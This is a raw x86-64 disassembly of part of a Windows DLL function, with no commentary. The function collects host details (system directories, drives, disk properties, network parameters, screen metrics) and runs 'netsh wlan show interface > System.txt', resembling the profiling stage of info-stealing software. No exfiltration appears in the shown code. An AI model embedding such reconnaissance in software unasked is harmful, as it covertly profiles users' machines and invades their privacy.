call qword [sym.imp.USERENV.dll_GetDefaultUserProfileDirectoryA]
test eax, eax
jne 0x180130e0d
mov eax, 0x104
imul rax, rax, 0
lea rax, [rbp + rax + 0x1c00]
lea r8, [0x180337468]
mov edx, 0x104
mov rcx, rax
call fcn.180107f4d
mov eax, 0x104
imul rax, rax, 3
lea rax, [rbp + rax + 0x1c00]
mov rdx, rax
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x180130e55
mov eax, 0x104
imul rax, rax, 0
lea rax, [rbp + rax + 0x1c00]
lea r8, [0x180337468]
mov edx, 0x104
mov rcx, rax
call fcn.180107f4d
mov eax, 0x104
imul rax, rax, 4
lea rax, [rbp + rax + 0x1c00]
mov rdx, rax
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
jne 0x180130e9d
mov eax, 0x104
imul rax, rax, 0
lea rax, [rbp + rax + 0x1c00]
lea r8, [0x180337468]
mov edx, 0x104
mov rcx, rax
call fcn.180107f4d
mov eax, 0x104
imul rax, rax, 5
lea rax, [rbp + rax + 0x1c00]
mov edx, 0x104
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x180130ee5
mov eax, 0x104
imul rax, rax, 0
lea rax, [rbp + rax + 0x1c00]
lea r8, [0x180337468]
mov edx, 0x104
mov rcx, rax
call fcn.180107f4d
mov eax, 0x104
imul rax, rax, 6
lea rax, [rbp + rax + 0x1c00]
mov edx, 0x104
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jne 0x180130f2d
mov eax, 0x104
imul rax, rax, 0
lea rax, [rbp + rax + 0x1c00]
lea r8, [0x180337468]
mov edx, 0x104
mov rcx, rax
call fcn.180107f4d
mov eax, 0x104
imul rax, rax, 7
lea rax, [rbp + rax + 0x1c00]
mov edx, 0x104
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
test eax, eax
jne 0x180130f75
mov eax, 0x104
imul rax, rax, 0
lea rax, [rbp + rax + 0x1c00]
lea r8, [0x180337468]
mov edx, 0x104
mov rcx, rax
call fcn.180107f4d
lea rdx, [0x180336ae0]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180337478]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.___________________________________________________________________
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180337488]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803374a8]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rdx, qword [rbp + 0x1a48]
mov rcx, rax
call fcn.180104d07
lea rdx, str._Byte
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803374b8]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rdx, qword [rbp + 0x1a88]
mov rcx, rax
call fcn.180104d07
lea rdx, str._Byte
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803374c8]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rdx, qword [rbp + 0x1aa8]
mov rcx, rax
call fcn.180104d07
lea rdx, str._Byte
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.___________________________________________________________________
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803374d8]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803c0470]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803c05a0]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803c00e0]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803c0210]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803c0340]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.___________________________________________________________________
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803374f0]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180337508]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [rbp + 0x13d0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180337530]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [rbp + 0x16e0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180337558]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [rbp + 0x14c0]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov eax, 0x104
imul rax, rax, 0
lea rax, [rbp + rax + 0x1c00]
mov qword [rbp + 0x6a98], rax
lea rdx, [0x180337580]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x6a98]
mov rdx, rcx
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803375a8]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [rbp + 0x1b78]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803375d0]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [rbp + 0x1bb8]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.___________________________________________________________________
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803375f8]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180337610]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov edx, dword [rbp + 0x1ae8]
mov rcx, rax
call fcn.180108d8a
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180337638]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov edx, dword [rbp + 0x1aec]
mov rcx, rax
call fcn.180108d8a
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
call fcn.1801049e7
mov dword [rbp + 0x6a94], eax
lea rdx, [0x180337660]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov ecx, dword [rbp + 0x6a94]
mov edx, ecx
mov rcx, rax
call fcn.180107390
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180337688]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov edx, dword [rbp + 0x1acc]
mov rcx, rax
call fcn.180108d8a
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803376b0]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rdx, qword [rbp + 0x1ae0]
mov rcx, rax
call fcn.180104d07
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803376d8]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [rbp + 0x1b38]
mov rcx, rax
call fcn.1801042f8
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov ecx, 0x2b
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rbp + 0x6a94], eax
lea rdx, [0x180337700]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov ecx, dword [rbp + 0x6a94]
mov edx, ecx
mov rcx, rax
call fcn.180104640
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov ecx, 0xe
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rbp + 0x6a94], eax
mov ecx, 0xd
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rbp + 0x6a98], eax
lea rdx, [0x180337738]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov ecx, dword [rbp + 0x6a98]
mov edx, ecx
mov rcx, rax
call fcn.180104640
lea rdx, [0x180337728]
mov rcx, rax
call fcn.1801068a0
mov ecx, dword [rbp + 0x6a94]
mov edx, ecx
mov rcx, rax
call fcn.180104640
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov eax, 0x104
imul rax, rax, 3
lea rax, [rbp + rax + 0x1c00]
mov qword [rbp + 0x6a98], rax
lea rdx, [0x180337760]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x6a98]
mov rdx, rcx
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov eax, 0x104
imul rax, rax, 4
lea rax, [rbp + rax + 0x1c00]
mov qword [rbp + 0x6a98], rax
lea rdx, [0x180337788]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x6a98]
mov rdx, rcx
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov eax, 0x104
imul rax, rax, 5
lea rax, [rbp + rax + 0x1c00]
mov qword [rbp + 0x6a98], rax
lea rdx, [0x1803377b0]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x6a98]
mov rdx, rcx
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov eax, 0x104
imul rax, rax, 6
lea rax, [rbp + rax + 0x1c00]
mov qword [rbp + 0x6a98], rax
lea rdx, [0x1803377d8]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x6a98]
mov rdx, rcx
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov eax, 0x104
imul rax, rax, 7
lea rax, [rbp + rax + 0x1c00]
mov qword [rbp + 0x6a98], rax
lea rdx, [0x180337800]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x6a98]
mov rdx, rcx
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.___________________________________________________________________
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180337828]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rbp + 0x2454], eax
mov dword [rbp + 0x2474], 0
jmp 0x18013173f
mov eax, dword [rbp + 0x2474]
inc eax
mov dword [rbp + 0x2474], eax
cmp dword [rbp + 0x2474], 0x19
jg 0x180131da4
mov eax, dword [rbp + 0x2474]
movzx ecx, al
mov eax, dword [rbp + 0x2454]
shr eax, cl
and eax, 1
test eax, eax
jne 0x180131766
jmp 0x180131731
mov eax, dword [rbp + 0x2474]
add eax, 0x41
mov byte [rbp + 0x2494], al
mov eax, dword [0x18033783c]
mov dword [rbp + 0x24b4], eax
mov eax, 1
imul rax, rax, 0
movzx ecx, byte [rbp + 0x2494]
mov byte [rbp + rax + 0x24b4], cl
lea rcx, [rbp + 0x24b4]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [rbp + 0x24d4], eax
mov ecx, dword [rbp + 0x24d4]
call fcn.18010b7b0
mov qword [rbp + 0x6a98], rax
lea rdx, [0x180337858]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [rbp + 0x24b4]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x180337848]
mov rcx, rax
call fcn.1801068a0
mov rcx, qword [rbp + 0x6a98]
mov rdx, rcx
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x180337840]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rax, [rbp + 0x24f4]
lea rcx, str..A:
mov rdi, rax
mov rsi, rcx
mov ecx, 7
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 4
movzx ecx, byte [rbp + 0x2494]
mov byte [rbp + rax + 0x24f4], cl
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 7
xor edx, edx
lea rcx, [rbp + 0x24f4]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 0x2518], rax
cmp qword [rbp + 0x2518], 0xffffffffffffffff
je 0x180131d6a
lea rax, [rbp + 0x2560]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
lea rax, [rbp + 0x2560]
mov qword [rbp + 0x2978], rax
mov dword [rbp + 0x2998], 0
mov dword [rbp + 0x299c], 0
lea rax, [rbp + 0x29a0]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov qword [rsp + 0x38], 0
lea rax, [rbp + 0x2534]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x400
mov rax, qword [rbp + 0x2978]
mov qword [rsp + 0x20], rax
mov r9d, 0xc
lea r8, [rbp + 0x2998]
mov edx, 0x2d1400
mov rcx, qword [rbp + 0x2518]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov dword [rbp + 0x2434], eax
cmp dword [rbp + 0x2434], 0
je 0x180131d48
lea rdx, [0x180337868]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x2978]
mov edx, dword [rcx]
mov rcx, rax
call fcn.180108d8a
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180337888]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x2978]
mov edx, dword [rcx + 4]
mov rcx, rax
call fcn.180108d8a
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov rax, qword [rbp + 0x2978]
movzx eax, byte [rax + 8]
mov dword [rbp + 0x6a94], eax
lea rdx, [0x1803378a8]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov ecx, dword [rbp + 0x6a94]
mov edx, ecx
mov rcx, rax
call fcn.180104640
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov rax, qword [rbp + 0x2978]
movzx eax, byte [rax + 9]
mov dword [rbp + 0x6a94], eax
lea rdx, [0x1803378c8]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov ecx, dword [rbp + 0x6a94]
mov edx, ecx
mov rcx, rax
call fcn.180104640
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov rax, qword [rbp + 0x2978]
movzx eax, byte [rax + 0xa]
mov dword [rbp + 0x6a94], eax
lea rdx, [0x1803378e8]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov ecx, dword [rbp + 0x6a94]
mov edx, ecx
mov rcx, rax
call fcn.180104640
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov rax, qword [rbp + 0x2978]
movzx eax, byte [rax + 0xb]
mov dword [rbp + 0x6a94], eax
lea rdx, [0x180337908]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov ecx, dword [rbp + 0x6a94]
mov edx, ecx
mov rcx, rax
call fcn.180104640
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180337928]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x2978]
mov edx, dword [rcx + 0xc]
mov rcx, rax
call fcn.180108d8a
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180337948]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x2978]
mov edx, dword [rcx + 0x10]
mov rcx, rax
call fcn.180108d8a
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180337968]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x2978]
mov edx, dword [rcx + 0x14]
mov rcx, rax
call fcn.180108d8a
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180337988]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x2978]
mov edx, dword [rcx + 0x18]
mov rcx, rax
call fcn.180108d8a
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov rax, qword [rbp + 0x2978]
mov ecx, dword [rax + 0x1c]
call fcn.180105fb3
mov qword [rbp + 0x6a98], rax
lea rdx, [0x1803379a8]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x6a98]
mov rdx, rcx
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1803379c8]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x2978]
mov edx, dword [rcx + 0x20]
mov rcx, rax
call fcn.180108d8a
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov rax, qword [rbp + 0x2978]
mov eax, dword [rax + 0xc]
lea rax, [rbp + rax + 0x2560]
mov qword [rbp + 0x6a98], rax
lea rdx, [0x1803379e8]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x6a98]
mov rdx, rcx
mov rcx, rax
call fcn.180108a65
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov rax, qword [rbp + 0x2978]
mov eax, dword [rax + 0x10]
lea rax, [rbp + rax + 0x2560]
mov qword [rbp + 0x6a98], rax
lea rdx, [0x180337a08]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x6a98]
mov rdx, rcx
mov rcx, rax
call fcn.180108a65
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov rax, qword [rbp + 0x2978]
mov eax, dword [rax + 0x14]
lea rax, [rbp + rax + 0x2560]
mov qword [rbp + 0x6a98], rax
lea rdx, [0x180337a28]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x6a98]
mov rdx, rcx
mov rcx, rax
call fcn.180108a65
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov rax, qword [rbp + 0x2978]
cmp dword [rax + 0x18], 0
je 0x180131d48
mov rax, qword [rbp + 0x2978]
cmp dword [rax + 0x18], 0xffffffff
je 0x180131d48
mov rax, qword [rbp + 0x2978]
mov eax, dword [rax + 0x18]
lea rax, [rbp + rax + 0x2560]
mov qword [rbp + 0x6a98], rax
lea rdx, [0x180337a48]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x6a98]
mov rdx, rcx
mov rcx, rax
call fcn.180108a65
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x1801062ba]
lea rcx, [0x1803c1290]
call fcn.1801088d5
mov rcx, qword [rbp + 0x2518]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180131d9f
lea rdx, [0x180337a68]
lea rcx, [rbp + 0xcb8]
call fcn.18010a57c
lea rdx, [rbp + 0xcb8]
lea rcx, [0x1803c15f0]
call fcn.1801042f8
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
jmp 0x180131731
lea rdx, str.___________________________________________________________________
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [0x180337a88]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, 0x258
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x29c8], rax
cmp qword [rbp + 0x29c8], 0
jne 0x180131e32
lea rdx, str.__Error_allocating_memory_needed_to_call_GetNetworkParams
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov dword [rbp + 0x29e4], 0x258
lea rdx, [rbp + 0x29e4]
mov rcx, qword [rbp + 0x29c8]
call fcn.1801043d9
cmp eax, 0x6f
jne 0x180131ec7
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x29c8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [rbp + 0x29e4]
mov qword [rbp + 0x6a98], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rbp + 0x6a98]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x29c8], rax
cmp qword [rbp + 0x29c8], 0
jne 0x180131ec7
lea rdx, str.__Error_allocating_memory_needed_to_call_GetNetworkParams
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [rbp + 0x29e4]
mov rcx, qword [rbp + 0x29c8]
call fcn.1801043d9
test eax, eax
jne 0x180131eea
mov dword [rbp + 0x6a94], 1
jmp 0x180131ef4
mov dword [rbp + 0x6a94], 0
mov eax, dword [rbp + 0x6a94]
mov dword [rbp + 0x2a04], eax
cmp dword [rbp + 0x2a04], 0
je 0x1801322ce
mov rax, qword [rbp + 0x29c8]
mov qword [rbp + 0x6a98], rax
lea rdx, str.__Host_Name
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x6a98]
mov rdx, rcx
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov rax, qword [rbp + 0x29c8]
add rax, 0x84
mov qword [rbp + 0x6a98], rax
lea rdx, [0x180337b00]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x6a98]
mov rdx, rcx
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov rax, qword [rbp + 0x29c8]
add rax, 0x118
mov qword [rbp + 0x6a98], rax
lea rdx, [0x180337b18]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x6a98]
mov rdx, rcx
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov rax, qword [rbp + 0x29c8]
mov rax, qword [rax + 0x110]
mov qword [rbp + 0x2a28], rax
cmp qword [rbp + 0x2a28], 0
je 0x180132057
mov rax, qword [rbp + 0x2a28]
add rax, 8
mov qword [rbp + 0x6a98], rax
lea rdx, [0x180337b30]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x6a98]
mov rdx, rcx
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov rax, qword [rbp + 0x2a28]
mov rax, qword [rax]
mov qword [rbp + 0x2a28], rax
jmp 0x180131ff4
lea rdx, [0x180337b38]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rax, qword [rbp + 0x29c8]
mov eax, dword [rax + 0x140]
mov dword [rbp + 0x6a94], eax
cmp dword [rbp + 0x6a94], 1
je 0x1801320a6
cmp dword [rbp + 0x6a94], 2
je 0x1801320cd
cmp dword [rbp + 0x6a94], 4
je 0x1801320f4
cmp dword [rbp + 0x6a94], 8
je 0x180132118
jmp 0x18013213c
lea rdx, str.Broadcast_node
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
jmp 0x180132182
lea rdx, str.Peer_to_Peer_node
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
jmp 0x180132182
lea rdx, str.Mixed_node
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
jmp 0x180132182
lea rdx, str.Hybrid_node
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
jmp 0x180132182
lea rdx, str.Unknown_node_type__
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x29c8]
mov edx, dword [rcx + 0x140]
mov rcx, rax
call fcn.180107390
lea rdx, [0x180336ce4]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov rax, qword [rbp + 0x29c8]
add rax, 0x144
mov qword [rbp + 0x6a98], rax
lea rdx, [0x180337bb8]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov rcx, qword [rbp + 0x6a98]
mov rdx, rcx
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov rax, qword [rbp + 0x29c8]
cmp dword [rax + 0x248], 0
je 0x1801321fe
lea rdx, str.__Routing
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
jmp 0x180132220
lea rdx, [0x180337bf0]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov rax, qword [rbp + 0x29c8]
cmp dword [rax + 0x24c], 0
je 0x180132254
lea rdx, [0x180337c18]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
jmp 0x180132276
lea rdx, [0x180337c38]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
mov rax, qword [rbp + 0x29c8]
cmp dword [rax + 0x250], 0
je 0x1801322aa
lea rdx, [0x180337c60]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
jmp 0x1801322cc
lea rdx, [0x180337c80]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
jmp 0x1801322fe
lea rdx, [0x180337ca8]
lea rcx, [0x1803c1290]
call fcn.1801068a0
mov edx, dword [rbp + 0x2a04]
mov rcx, rax
call fcn.180108d8a
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
cmp qword [rbp + 0x29c8], 0
je 0x180132320
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x29c8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [0x180337cd8]
call fcn.18010b9ae
lea rdx, [0x180334130]
lea rcx, [0x1803c1488]
call fcn.18010aaa4
movzx eax, al
test eax, eax
je 0x1801329d3
lea rcx, str.netsh_wlan_show_interface___System.txt
call fcn.18010c313
mov dword [rbp + 0x2a44], 0
mov dword [rbp + 0x2a64], 0
mov edx, 0x110
lea rcx, [rbp + 0x2a90]
call fcn.18010a009
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
lea rdx, [0x180337cd8]
lea rcx, [rbp + 0x2a90]
call fcn.18010a6e4
nop
mov rax, qword [rbp + 0x2a90]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x2a90]
mov rcx, rax
call fcn.18010ada1
movzx eax, al
test eax, eax
je 0x1801323f6
lea rdx, [rbp + 0xcb8]
lea rcx, [0x1803c15f0]
call fcn.1801042f8
lea rdx, [0x180337d18]
mov rcx, rax
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
xor eax, eax
cmp eax, 1
je 0x18013251e
lea rcx, [rbp + 0x2bb8]
call fcn.18010cb24
nop
mov rax, qword [rbp + 0x2a90]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x2a90]
mov rcx, rax
call fcn.18010ada1
movzx eax, al
test eax, eax
je 0x180132441
lea rcx, [rbp + 0x2bb8]
call fcn.180107ce1
jmp 0x18013251e
lea rdx, [rbp + 0x2bb8]
lea rcx, [rbp + 0x2a90]
call fcn.18010b8c8
lea rdx, [0x180337d40]
lea rcx, [0x1803c1290]
call fcn.1801068a0
lea rdx, [rbp + 0x2bb8]
mov rcx, rax
call fcn.1801042f8
